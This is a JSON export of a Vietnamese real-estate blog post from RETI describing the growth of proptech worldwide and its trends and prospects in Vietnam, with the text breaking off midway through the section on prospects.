{"id":38469,"date":"2023-06-26T16:20:28","date_gmt":"2023-06-26T09:20:28","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=38469"},"modified":"2025-10-22T04:17:06","modified_gmt":"2025-10-21T21:17:06","slug":"cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong\/","title":{"rendered":"C\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) t\u1ea1i Vi\u1ec7t Nam: Xu h\u01b0\u1edbng v\u00e0 tri\u1ec3n v\u1ecdng"},"content":{"rendered":"<p><em>C\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) \u0111ang tr\u1edf th\u00e0nh m\u1ed9t xu h\u01b0\u1edbng m\u1edbi trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1ea1i Vi\u1ec7t Nam. V\u1edbi s\u1ef1 ph\u00e1t tri\u1ec3n c\u1ee7a c\u00f4ng ngh\u1ec7, c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u00e3 b\u1eaft \u0111\u1ea7u \u00e1p d\u1ee5ng c\u00e1c gi\u1ea3i ph\u00e1p proptech \u0111\u1ec3 c\u1ea3i thi\u1ec7n tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 t\u1ed1i \u01b0u h\u00f3a quy tr\u00ecnh kinh doanh. Trong b\u00e0i vi\u1ebft n\u00e0y, c\u00f9ng RETI t\u00ecm hi\u1ec3u v\u1ec1 c\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) t\u1ea1i Vi\u1ec7t Nam, c\u00e1c xu h\u01b0\u1edbng v\u00e0 tri\u1ec3n v\u1ecdng trong t\u01b0\u01a1ng lai.\u00a0<\/em><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed3a5d727ee\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed3a5d727ee\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong\/#The_gioi_da_phat_trien_Proptech_nhu_the_nao\" >Th\u1ebf gi\u1edbi \u0111\u00e3 ph\u00e1t tri\u1ec3n Proptech nh\u01b0 th\u1ebf n\u00e0o?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong\/#Viet_Nam_dang_o_dau_tren_thi_truong_Proptech\" >Vi\u1ec7t Nam \u0111ang \u1edf \u0111\u00e2u tr\u00ean th\u1ecb tr\u01b0\u1eddng Proptech?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong\/#Xu_huong_proptech_tai_Viet_Nam\" >Xu h\u01b0\u1edbng proptech t\u1ea1i Vi\u1ec7t Nam<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/cong-nghe-bat-dong-san-proptech-xu-huong-trien-vong\/#Trien_vong_proptech_tai_Viet_Nam\" >Tri\u1ec3n v\u1ecdng proptech t\u1ea1i Vi\u1ec7t Nam<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"The_gioi_da_phat_trien_Proptech_nhu_the_nao\"><\/span><strong>Th\u1ebf gi\u1edbi \u0111\u00e3 ph\u00e1t tri\u1ec3n Proptech nh\u01b0 th\u1ebf n\u00e0o?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Proptech\u00a0l\u00e0 vi\u1ebft t\u1eaft c\u1ee7a c\u1ee5m t\u1eeb property technology \u2013 ch\u1ec9 vi\u1ec7c s\u1eed d\u1ee5ng c\u00f4ng ngh\u1ec7 th\u00f4ng tin v\u00e0o c\u00e1c giao d\u1ecbch li\u00ean quan \u0111\u1ebfn l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n<p>C\u1ee5 th\u1ec3, Proptech s\u1ebd gi\u00fap c\u00e1c c\u00e1 nh\u00e2n, doanh nghi\u1ec7p nghi\u00ean c\u1ee9u, giao d\u1ecbch mua b\u00e1n, thu\u00ea, cho thu\u00ea v\u00e0 qu\u1ea3n l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n. Ngo\u00e0i ra, Proptech c\u00f2n cho ph\u00e9p t\u1ed1i gi\u1ea3n h\u00f3a quy tr\u00ecnh l\u00e0m vi\u1ec7c gi\u1eefa ng\u01b0\u1eddi mua, ng\u01b0\u1eddi b\u00e1n, ng\u01b0\u1eddi thu\u00ea, m\u00f4i gi\u1edbi, cho vay ho\u1eb7c ch\u1ee7 nh\u00e0.<\/p>\n<p>Nh\u01b0 v\u1eady, qua \u0111\u1ecbnh ngh\u0129a c\u1ee7a Proptech c\u00f3 th\u1ec3 th\u1ea5y r\u1eb1ng, kh\u1ea3 n\u0103ng \u1ee9ng d\u1ee5ng c\u1ee7a Proptech l\u00e0 v\u00f4 c\u00f9ng r\u1ed9ng l\u1edbn. V\u1eady c\u00e1c n\u01b0\u1edbc \u0111\u00e3 ph\u00e1t tri\u1ec3n Proptech nh\u01b0 th\u1ebf n\u00e0o trong h\u00e0ng ch\u1ee5c n\u0103m qua?<\/p>\n<p>Cho \u0111\u1ebfn th\u1eddi \u0111i\u1ec3m n\u00e0y, ng\u01b0\u1eddi ta v\u1eabn kh\u00f4ng x\u00e1c \u0111\u1ecbnh ch\u00ednh x\u00e1c th\u1eddi \u0111i\u1ec3m m\u00e0 c\u00f4ng ngh\u1ec7 b\u1eaft \u0111\u1ea7u \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng v\u00e0o l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n. Tuy nhi\u00ean, gi\u1edbi \u0111\u1ea7u t\u01b0 b\u1eafc \u0111\u1ea7u ch\u00fa \u00fd \u0111\u1ebfn Proptech v\u00e0o n\u0103m 2012.<\/p>\n<p>Trong n\u0103m n\u00e0y, ng\u01b0\u1eddi ta \u01b0\u1edbc t\u00ednh c\u00f3 72 c\u00f4ng ty\u00a0kh\u1edfi nghi\u1ec7p b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0\u0111\u00e3 huy \u0111\u1ed9ng \u0111\u01b0\u1ee3c 221 tri\u1ec7u USD v\u1ed1n \u0111\u1ea7u t\u01b0 m\u1ea1o hi\u1ec3m v\u00e0 \u0111\u00f3 c\u0169ng l\u00e0 n\u0103m\u00a0T\u1eadp \u0111o\u00e0n b\u1ea5t \u0111\u1ed9ng s\u1ea3n Compass \u2013 m\u1ed9t c\u00f4ng ty mua b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n th\u01b0\u01a1ng m\u1ea1i v\u00e0 nh\u00e0 \u1edf tr\u00ean th\u1ecb tr\u01b0\u1eddng\u00a0M\u1ef9\u00a0&#8211; \u0111\u01b0\u1ee3c th\u00e0nh l\u1eadp.<\/p>\n<p>Ch\u1ec9 m\u1ed9t n\u0103m sau &#8211; n\u0103m 2013, Compass \u0111\u00e3 huy \u0111\u1ed9ng \u0111\u01b0\u1ee3c 20 tri\u1ec7u USD d\u00f2ng v\u1ed1 Series A v\u00e0 n\u00e2ng m\u1ee9c \u0111\u1ecbnh gi\u00e1 c\u1ee7a c\u00f4ng ty n\u00e0y l\u00ean 150 tri\u1ec7u USD. Nh\u01b0 v\u1eady, c\u00f3 th\u1ec3 xem Compass l\u00e0 \u201canh c\u1ea3\u201d trong l\u0129nh v\u1ef1c Proptech c\u1ee7a th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n th\u1ebf gi\u1edbi.<\/p>\n<p>Li\u00ean ti\u1ebfp nh\u1eefng n\u0103m sau \u0111\u00f3, ng\u00e0nh c\u00f4ng nghi\u1ec7p n\u00e0y t\u0103ng tr\u01b0\u1edfng theo c\u1ea5p s\u1ed1 nh\u00e2n. \u0110\u1ebfn n\u0103m 2016, c\u00f3 235\u00a0c\u00f4ng ty PropTech\u00a0tr\u00ean kh\u1eafp th\u1ebf gi\u1edbi \u0111\u00e3 huy \u0111\u1ed9ng \u0111\u01b0\u1ee3c h\u01a1n 2,6 t\u1ef7 USD t\u1eeb nh\u00e0 \u0111\u1ea7u t\u01b0 m\u1ea1o hi\u1ec3m. C\u00f3 ba c\u00f4ng ty \u0111\u01b0\u1ee3c x\u1ebfp h\u1ea1ng \u201ck\u1ef3 l\u00e2n\u201d (c\u00f4ng ty huy \u0111\u1ed9ng \u0111\u01b0\u1ee3c v\u1ed1n kh\u1edfi nghi\u1ec7p tr\u00ean 1 t\u1ef7 USD) trong l\u0129nh v\u1ef1c Proptech v\u00e0o th\u1eddi \u0111i\u1ec3m \u0111\u00f3 l\u00e0\u00a0Homelink,\u00a0SMS Assist\u00a0v\u00e0\u00a0Opendoor.<\/p>\n<p>Theo d\u1eef li\u1ec7u c\u1ee7a\u00a0Fintech Global, t\u1eeb qu\u00fd 1 \u0111\u1ebfn qu\u00fd 3 n\u0103m 2021, khu v\u1ef1c B\u1eafc M\u1ef9 v\u1eabn l\u00e0 \u201cth\u00e1nh \u0111\u1ecba\u201d c\u1ee7a Protech khi chi\u1ebfm h\u01a1n 70% c\u00e1c kho\u1ea3n \u0111\u1ea7u t\u01b0 v\u00e0o l\u0129nh v\u1ef1c n\u00e0y. T\u1ed5ng c\u1ed9ng c\u00f3 181 kho\u1ea3n \u0111\u1ea7u t\u01b0 v\u1edbi gi\u00e1 tr\u1ecb l\u00e0 6,9 t\u1ef7 USD.<\/p>\n<p>X\u1ebfp \u1edf v\u1ecb tr\u00ed th\u1ee9 hai l\u00e0 khu v\u1ef1c ch\u00e2u \u00c2u, chi\u1ebfm 19% ho\u1ea1t \u0111\u1ed9ng giao d\u1ecbch v\u00e0 c\u00f3 48 v\u00f2ng g\u1ecdi v\u1ed1n trong n\u0103m 2021. C\u00e1c ho\u1ea1t \u0111\u1ed9ng giao d\u1ecbch t\u1eadp trung nhi\u1ec1u \u1edf khu v\u1ef1c ph\u00eda T\u00e2y \u00c2u, \u0111\u1eb7c bi\u1ec7t l\u00e0 Anh, Ph\u00e1p, \u0110\u1ee9c v\u00e0 T\u00e2y Ban Nha.<\/p>\n<p>Ch\u00e2u \u00c1 trong n\u0103m 2021 ch\u1ec9 c\u00f3 14 th\u01b0\u01a1ng v\u1ee5 v\u00e0 t\u1ea5t c\u1ea3 \u0111\u1ec1u \u0111\u01b0\u1ee3c ho\u00e0n th\u00e0nh trong n\u1eeda \u0111\u1ea7u n\u0103m. Theo \u0111\u00e1nh gi\u00e1 c\u1ee7a Fintech Global, ho\u1ea1t \u0111\u1ed9ng giao d\u1ecbch \u1edf ch\u00e2u l\u1ee5c n\u00e0y th\u1ea5p do r\u00e0o c\u1ea3n gia nh\u1eadp th\u1ecb tr\u01b0\u1eddng.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/photo1655289472349-16552894724491610512753.webp\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38471 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/photo1655289472349-16552894724491610512753.webp\" alt=\"\" width=\"640\" height=\"399\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/photo1655289472349-16552894724491610512753.webp 640w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/photo1655289472349-16552894724491610512753-300x187.webp 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/photo1655289472349-16552894724491610512753-150x94.webp 150w\" data-sizes=\"(max-width: 640px) 100vw, 640px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 640px; --smush-placeholder-aspect-ratio: 640\/399;\" \/><\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Viet_Nam_dang_o_dau_tren_thi_truong_Proptech\"><\/span><strong>Vi\u1ec7t Nam \u0111ang \u1edf \u0111\u00e2u tr\u00ean th\u1ecb tr\u01b0\u1eddng Proptech?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Th\u1ef1c ra, d\u1ea5u hi\u1ec7u c\u1ee7a Proptech \u0111\u00e3 xu\u1ea5t hi\u1ec7n tr\u00ean th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n\u00a0Vi\u1ec7t Nam\u00a0c\u00e1ch \u0111\u00e2y h\u01a1n ch\u1ee5c n\u0103m. Tuy nhi\u00ean, \u0111\u1ed1i chi\u1ebfu v\u1edbi m\u1ed9t kh\u00f4ng gian r\u1ed9ng l\u1edbn c\u1ee7a l\u0129nh v\u1ef1c c\u00f4ng ngh\u1ec7 th\u00ec Proptech Vi\u1ec7t Nam ch\u1ec9 n\u1eafm b\u1eaft \u0111\u01b0\u1ee3c m\u1ed9t ph\u1ea7n r\u1ea5t nh\u1ecf, ch\u1ee7 y\u1ebfu l\u00e0 c\u00e1c trang web \u0111\u0103ng tin mua \u2013 b\u00e1n nh\u00e0 \u1edf, \u0111\u1ea5t \u0111ai, cho thu\u00ea ph\u00f2ng tr\u1ecd,\u2026<\/p>\n<p>\u0110i\u1ec3m y\u1ebfu c\u1ee7a c\u00e1c trang web theo ki\u1ec3u \u201crao v\u1eb7t\u201d n\u00e0y l\u00e0 th\u00f4ng tin kh\u00f4ng ch\u00ednh x\u00e1c, g\u00e2y kh\u00f3 kh\u0103n, t\u1ed1n k\u00e9m cho kh\u00e1ch h\u00e0ng, nh\u00e0 \u0111\u1ea7u t\u01b0. Th\u1ef1c t\u1ebf, th\u00f4ng qua c\u00e1c trang web n\u00e0y, nhi\u1ec1u \u0111\u1ed1i t\u01b0\u1ee3ng \u0111\u00e3 \u0111\u1ed3n th\u1ed5i, \u0111\u01b0a th\u00f4ng tin gi\u1ea3 \u0111\u1ec3 l\u1eeba g\u1ea1t&#8230;<\/p>\n<p>N\u00f3i v\u1ec1 v\u1ea5n \u0111\u1ec1 n\u00e0y, b\u00e0 L\u00ea Ho\u00e0ng Uy\u00ean Vy, ng\u01b0\u1eddi \u0111\u1ea1i di\u1ec7n c\u1ee7a Qu\u1ef9 \u0111\u1ea7u t\u01b0 Ventures cho r\u1eb1ng, Vi\u1ec7t Nam kh\u00f4ng c\u00f3 kho d\u1eef li\u1ec7u b\u1ea5t \u0111\u1ed9ng s\u1ea3n nh\u01b0 nhi\u1ec1u n\u01b0\u1edbc kh\u00e1c. V\u00e0, m\u1ed9t trong nh\u1eefng v\u1ea5n \u0111\u1ec1 l\u1edbn c\u1ee7a th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n Vi\u1ec7t Nam l\u00e0 thi\u1ebfu minh b\u1ea1ch. Ng\u01b0\u1eddi mua lu\u00f4n c\u1ea3m th\u1ea5y r\u1ed1i r\u1eafm v\u1edbi nhi\u1ec1u th\u00f4ng tin b\u1ea5t \u0111\u1ed9ng s\u1ea3n gi\u1ea3 do h\u00e0ng tr\u0103m website cung c\u1ea5p.<\/p>\n<p>Ch\u00ednh t\u1eeb th\u1ef1c t\u1ebf \u0111\u00f3 m\u00e0 nh\u1eefng n\u0103m g\u1ea7n \u0111\u00e2y, nhi\u1ec1u c\u00f4ng ty Proptech n\u01b0\u1edbc ngo\u00e0i \u0111\u00e3 \u0111\u1ea7u t\u01b0, chuy\u00ean nghi\u1ec7p h\u00f3a c\u00e1c giao d\u1ecbch, \u0111\u1eb7c bi\u1ec7t l\u00e0 t\u1eeb khi \u0111\u1ea1i d\u1ecbch COVID-19 xu\u1ea5t hi\u1ec7n c\u00e1ch \u0111\u00e2y h\u01a1n 2 n\u0103m.<\/p>\n<p>Ngo\u00e0i ra, m\u1ed9t y\u1ebfu t\u1ed1 n\u1eefa c\u0169ng thu h\u00fat c\u00e1c nh\u00e0 \u0111\u1ea7u t\u01b0 \u0111\u1ea7u t\u01b0 v\u00e0o Proptech \u0111\u00f3 l\u00e0 vi\u1ec7c Vi\u1ec7t Nam c\u00f3 \u0111\u1ebfn 70% d\u00e2n s\u1ed1 s\u1eed d\u1ee5ng smartphone v\u00e0 h\u01a1n 64 tri\u1ec7u ng\u01b0\u1eddi ti\u1ebfp c\u1eadn \u0111\u01b0\u1ee3c v\u1edbi Inetrnet v\u00e0 \u0111i\u1ec1u n\u00e0y \u0111\u01b0\u1ee3c xem l\u00e0 m\u1ed9t l\u1ee3i th\u1ebf ti\u1ec1m n\u0103ng c\u1ee7a Proptech.<\/p>\n<p>Nh\u01b0 v\u1eady, m\u1eb7c d\u00f9 c\u00f2n \u201cs\u01a1 khai\u201d nh\u01b0ng th\u1ecb tr\u01b0\u1eddng Proptech \u1edf Vi\u1ec7t Nam \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 gi\u00e0u ti\u1ec1m n\u0103ng, h\u1ea5p d\u1eabn c\u00e1c nh\u00e0 \u0111\u1ea7u t\u01b0.<\/p>\n<p>Theo s\u1ed1 li\u1ec7u t\u1eeb C\u00f4ng ty c\u1ed5 ph\u1ea7n FinREI Investment JSC, hi\u1ec7n Vi\u1ec7t Nam c\u00f3 56 c\u00f4ng ty \u0111ang ho\u1ea1t \u0111\u1ed9ng c\u00f9ng nhi\u1ec1u startup trong l\u0129nh v\u1ef1c n\u00e0y d\u1ef1 ki\u1ebfn ra m\u1eaft trong th\u1eddi gian t\u1edbi. Trong s\u1ed1 \u0111\u00f3, c\u00f3 t\u1edbi 80% c\u00e1c n\u1ec1n t\u1ea3ng Proptech l\u00e0 c\u00f4ng ty n\u01b0\u1edbc ngo\u00e0i ho\u1eb7c \u0111\u01b0\u1ee3c r\u00f3t v\u1ed1n t\u1eeb nh\u00e0 \u0111\u1ea7u t\u01b0 ngo\u1ea1i.<\/p>\n<p>Trong khi \u0111\u00f3, theo nghi\u00ean c\u1ee9u c\u1ee7a Hi\u1ec7p h\u1ed9i B\u1ea5t \u0111\u1ed9ng s\u1ea3n Vi\u1ec7t Nam, quy m\u00f4 th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n Vi\u1ec7t Nam s\u1ebd \u0111\u1ea1t 1.232 t\u1ec9 USD, chi\u1ebfm 22% t\u1ed5ng t\u00e0i s\u1ea3n n\u1ec1n kinh t\u1ebf v\u00e0o n\u0103m 2030. C\u00e1c th\u01b0\u01a1ng v\u1ee5 \u0111\u1ea7u t\u01b0, g\u00f3p v\u1ed1n v\u00e0o proptech cho th\u1ea5y s\u1ee9c n\u00f3ng trong l\u0129nh v\u1ef1c ng\u00e0y c\u00e0ng t\u0103ng.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Xu_huong_proptech_tai_Viet_Nam\"><\/span><strong><em>Xu h\u01b0\u1edbng proptech t\u1ea1i Vi\u1ec7t Nam<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>C\u00f3 th\u1ec3 n\u00f3i, m\u1eb7c d\u00f9 c\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) v\u1eabn c\u00f2n kh\u00e1 m\u1edbi m\u1ebb t\u1ea1i Vi\u1ec7t Nam, nh\u01b0ng n\u00f3 \u0111ang tr\u1edf th\u00e0nh m\u1ed9t xu h\u01b0\u1edbng \u0111\u01b0\u1ee3c nhi\u1ec1u doanh nghi\u1ec7p trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n quan t\u00e2m. C\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111ang b\u1eaft \u0111\u1ea7u \u00e1p d\u1ee5ng c\u00e1c gi\u1ea3i ph\u00e1p proptech \u0111\u1ec3 c\u1ea3i thi\u1ec7n tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 t\u1ed1i \u01b0u h\u00f3a quy tr\u00ecnh kinh doanh.<\/p>\n<p>M\u1ed9t trong nh\u1eefng xu h\u01b0\u1edbng proptech ph\u1ed5 bi\u1ebfn t\u1ea1i Vi\u1ec7t Nam l\u00e0 s\u1eed d\u1ee5ng \u1ee9ng d\u1ee5ng di \u0111\u1ed9ng \u0111\u1ec3 gi\u00fap kh\u00e1ch h\u00e0ng t\u00ecm ki\u1ebfm v\u00e0 mua b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n d\u1ec5 d\u00e0ng h\u01a1n. C\u00e1c \u1ee9ng d\u1ee5ng n\u00e0y cung c\u1ea5p th\u00f4ng tin v\u1ec1 gi\u00e1 c\u1ea3, di\u1ec7n t\u00edch, v\u1ecb tr\u00ed v\u00e0 c\u00e1c ti\u1ec7n \u00edch xung quanh c\u00e1c c\u0103n h\u1ed9, nh\u00e0 ph\u1ed1, bi\u1ec7t th\u1ef1 v\u00e0 c\u00e1c lo\u1ea1i h\u00ecnh b\u1ea5t \u0111\u1ed9ng s\u1ea3n kh\u00e1c.<\/p>\n<p>C\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u0169ng \u0111ang s\u1eed d\u1ee5ng c\u00e1c c\u00f4ng ngh\u1ec7 nh\u01b0 tr\u00ed tu\u1ec7 nh\u00e2n t\u1ea1o (AI) v\u00e0 blockchain \u0111\u1ec3 c\u1ea3i thi\u1ec7n quy tr\u00ecnh kinh doanh. AI c\u00f3 th\u1ec3 gi\u00fap c\u00e1c chuy\u00ean gia b\u1ea5t \u0111\u1ed9ng s\u1ea3n d\u1ef1 \u0111o\u00e1n c\u00e1c xu h\u01b0\u1edbng th\u1ecb tr\u01b0\u1eddng v\u00e0 t\u01b0 v\u1ea5n cho kh\u00e1ch h\u00e0ng v\u1ec1 c\u00e1c quy\u1ebft \u0111\u1ecbnh \u0111\u1ea7u t\u01b0. Blockchain c\u00f3 th\u1ec3 gi\u00fap c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n x\u00e2y d\u1ef1ng c\u00e1c h\u1ee3p \u0111\u1ed3ng th\u00f4ng minh v\u00e0 \u0111\u1ea3m b\u1ea3o t\u00ednh minh b\u1ea1ch trong c\u00e1c giao d\u1ecbch mua b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-scaled.jpg\" rel=\"lightbox-0\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38470 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-scaled.jpg\" alt=\"\" width=\"2560\" height=\"1344\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-scaled.jpg 2560w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-300x158.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-1024x538.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-768x403.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-1536x806.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-2048x1075.jpg 2048w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-150x79.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-696x365.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-1068x561.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-1920x1008.jpg 1920w\" data-sizes=\"(max-width: 2560px) 100vw, 2560px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 2560px; --smush-placeholder-aspect-ratio: 2560\/1344;\" \/><\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Trien_vong_proptech_tai_Viet_Nam\"><\/span><strong><em>Tri\u1ec3n v\u1ecdng proptech t\u1ea1i Vi\u1ec7t Nam<\/em><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Tri\u1ec3n v\u1ecdng c\u1ee7a c\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) t\u1ea1i Vi\u1ec7t Nam l\u00e0 r\u1ea5t l\u1edbn. Theo b\u00e1o c\u00e1o c\u1ee7a Savills, th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n Vi\u1ec7t Nam \u0111ang ph\u00e1t tri\u1ec3n v\u1edbi t\u1ed1c \u0111\u1ed9 nhanh ch\u00f3ng v\u00e0 d\u1ef1 ki\u1ebfn \u200b\u200bs\u1ebd ti\u1ebfp t\u1ee5c t\u0103ng tr\u01b0\u1edfng trong t\u01b0\u01a1ng lai. Tuy nhi\u00ean, c\u1ea7n ph\u1ea3i c\u00f3 c\u00e1c gi\u1ea3i ph\u00e1p k\u1ef9 thu\u1eadt s\u1ed1 \u0111\u1ec3 gi\u00fap t\u1ed1i \u01b0u h\u00f3a quy tr\u00ecnh kinh doanh v\u00e0 c\u1ea3i thi\u1ec7n tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng.<\/p>\n<p>C\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111ang \u0111\u1ea7u t\u01b0 v\u00e0o c\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) \u0111\u1ec3 n\u00e2ng cao hi\u1ec7u qu\u1ea3 kinh doanh v\u00e0 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng. T\u1eeb vi\u1ec7c s\u1eed d\u1ee5ng \u1ee9ng d\u1ee5ng di \u0111\u1ed9ng, ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd b\u1ea5t \u0111\u1ed9ng s\u1ea3n cho \u0111\u1ebfn tr\u00ed tu\u1ec7 nh\u00e2n t\u1ea1o v\u00e0 blockchain, c\u00e1c c\u00f4ng ngh\u1ec7 n\u00e0y \u0111ang \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng \u0111\u1ec3 gi\u00fap c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng 